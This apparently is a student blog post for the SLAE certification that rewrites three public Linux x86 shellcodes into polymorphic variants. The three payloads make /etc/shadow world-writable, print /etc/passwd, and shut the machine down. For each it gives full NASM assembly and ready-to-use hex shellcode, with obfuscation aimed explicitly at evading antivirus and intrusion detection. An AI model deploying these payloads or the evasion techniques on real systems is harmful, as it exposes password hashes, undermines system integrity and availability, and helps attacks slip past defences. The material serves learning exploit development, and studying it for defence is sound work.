Polymorphism is born of a quality of assembly code: there are multiple instructions you can use to achieve the same results. The goal of this assignment is to write polymorphic shellcode by grabbing some shellcode from the public repository at
shell-storm.org, then altering it to achieve the same result with substantially different and possibly self-modifying code. The shellcode I write should not be more than 50% larger than the original shellcode.
When approaching this problem, you could either try to minimize the size of the shellcode or maximize the obfuscation and difference between the code versions. I opted to maximize the polymorphism rather than minimize the shellcode size, provided the shellcode size stays within +50% parameter of the assignment.
Let's get to it.
Shellcode 1: chmod 666 /etc/shadow
http://shell-storm.org/shellcode/files/shellcode-566.php 27 Bytes
This is a short shellcode that makes /etc/shadow world-readable and world-writable by invoking the
chmod syscall. My polymorphic version is
38 bytes in length. Some tricks/substitutions used were:
• PUSH-POP instead of MOV REGISTER,VALUE
• XOR REGISTER,REGISTER instead of CDQ
• Manual stack manipulation with MOVE and SUB instead of PUSH
; linux/x86 chmod 666 /etc/shadow 27 bytes
; original:
http://shell-storm.org/shellcode/files/shellcode-566.php, polymorphic for SLAE
; File: chmod.nasm
section .text
global _start
_start:
; chmod("//etc/shadow", 0666);
push byte 15
pop eax
xor edx,edx
push edx
mov dword [esp-4],0x776f6461
mov dword [esp-8],0x68732f63
mov dword [esp-12],0x74652f2f
sub esp,12
mov ebx,esp
mov cx,0666o
int 0x80
Shellcode:
"\x6a\x0f\x58\x31\xd2\x52\xc7\x44\x24\xfc\x61\x64\x6f\x77\xc7\x44\x24\xf8\x63\x2f\x73\x68\xc7\x44\x24\xf4\x2f\x2f\x65\x74\x83\xec\x0c\x89\xe3\x66\xb9\xb6\x01\xcd\x80" Shellcode 2: cat /etc/passwd
http://shell-storm.org/shellcode/files/shellcode-571.php 43 Bytes
This shellcode invokes
execve /bin/cat with
/etc/passwd as an argument, essentially printing the /etc/passwd file to standard output. The original author accomplished this by pushing DWORD values representing portions of the file paths onto the stack to make null-terminated strings.
While thinking about the makeup of this shellcode, I realized that a good deal of the shellcode's size in bytes is taken up by the DWORDs used to make these strings. The original shellcode is 43 bytes long and 20 of those bytes are filled with the static string content. Not to mention the size of the code used to null-terminate the strings and get pointers to them. I began to realize that if I could change the strings, I could change a significant amount of the shellcode. Plus, the strings are probably a red flag to AV and IDS, so obfuscating them a little can't hurt.
My polymorphic version of this shellcode is
64 bytes in length. Some tricks/substitutions were:
• For strings, hard-code [DWORD value - 0x11111111] in assembly, then use ADD instructions to change them back to the appropriate values at runtime
• SUB REGISTER,REGISTER instead of XOR REGISTER,REGISTER
• PUSH-POP instead of MOV REGISTER,REGISTER
• Use alternate registers where possible; for example, if a computation needs the value in ESP and ECX holds that same value, alternate between using ESP and ECX in such computations
These changes add a lot of logic that was not in the assembly, change nearly all pre-existing instructions, and slightly obfuscate the string values in the assembly.
; linux/x86 cat /etc/passwd 43 bytes originally
; original:
http://shell-storm.org/shellcode/files/shellcode-571.php, polymorphic for SLAE
; File: cat_passwd.nasm
section .text
global _start
_start:
sub eax,eax
push eax
push dword 0x6350521e
push dword 0x5d58511e
push esp
pop ebx
mov esi,0x11111111
add dword [esp],esi
add dword [esp+4],esi
push eax
push dword 0x53666262
push dword 0x505f1e1e
push dword 0x5263541e
push esp
pop ecx
add dword [ecx],esi
add dword [esp+4],esi
add dword [ecx+8],esi
push eax
push byte 0xb
pop eax
push ecx
push ebx
push esp
pop ecx
int 0x80
Shellcode:
"\x29\xc0\x50\x68\x1e\x52\x50\x63\x68\x1e\x51\x58\x5d\x54\x5b\xbe\x11\x11\x11\x11\x01\x34\x24\x01\x74\x24\x04\x50\x68\x62\x62\x66\x53\x68\x1e\x1e\x5f\x50\x68\x1e\x54\x63\x52\x54\x59\x01\x31\x01\x74\x24\x04\x01\x71\x08\x50\x6a\x0b\x58\x51\x53\x54\x59\xcd\x80"Shellcode 3: Exec "shutdown -h now"
http://shell-storm.org/shellcode/files/shellcode-876.php 56 Bytes
This shellcode shuts down the PC instantly by using the execve system call to run "shutdown -h now". This shellcode is a little bit larger than the others and I was able to use a good mix of substitutions and techniques, eventually producing
82 bytes of polymorphic shellcode. Techniques used:
• SUB REGISTER,REGISTER instead of XOR REGISTER,REGISTER
• Use of MUL for zeroing EAX
• Use alternate registers
• MOV REGISTER,IMM-PUSH instead of PUSH IMM
• Manual stack manipulation with MOV and SUB instead of PUSH
• Use of multiple PUSH BYTE in place of PUSH WORD, PUSH DWORD, etc.
• PUSH-POP instead of MOV REGISTER,VALUE
• Addition of NOP equivalents
; linux/x86 shutdown -h now, 56 bytes originally
; original:
http://shell-storm.org/shellcode/files/shellcode-876.php, polymorphic for SLAE
; File: shutdown.nasm
section .text
global _start
_start:
sub edx,edx
mul edx
push edx
push byte 0x68
push byte 0x2d
sub eax,edx
mov edi,esp
mov dword [esp - 4],eax
sub esp,4
push 0x6e
push word 0x776f
pop word [esp + 0x1]
push esp
pop edi
mov dword [esp - 4],eax
mov dword [esp - 8],0x6e776f64
mov dword [esp - 12],0x74756873
mov dword [esp - 16],0x2f2f2f6e
mov dword [esp - 20],0x6962732f
sub esp,20
push esp
pop ebx
push edx
push esi
push edi
push ebx
push esp
pop ecx
push byte 0xb
pop eax
int 0x80
Shellcode:
"\x29\xd2\xf7\xe2\x52\x6a\x68\x6a\x2d\x29\xd0\x89\xe7\x89\x44\x24\xfc\x83\xec\x04\x6a\x6e\x66\x68\x6f\x77\x66\x8f\x44\x24\x01\x54\x5f\x89\x44\x24\xfc\xc7\x44\x24\xf8\x64\x6f\x77\x6e\xc7\x44\x24\xf4\x73\x68\x75\x74\xc7\x44\x24\xf0\x6e\x2f\x2f\x2f\xc7\x44\x24\xec\x2f\x73\x62\x69\x83\xec\x14\x54\x5b\x52\x56\x57\x53\x54\x59\x6a\x0b\x58\xcd\x80"---
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 1353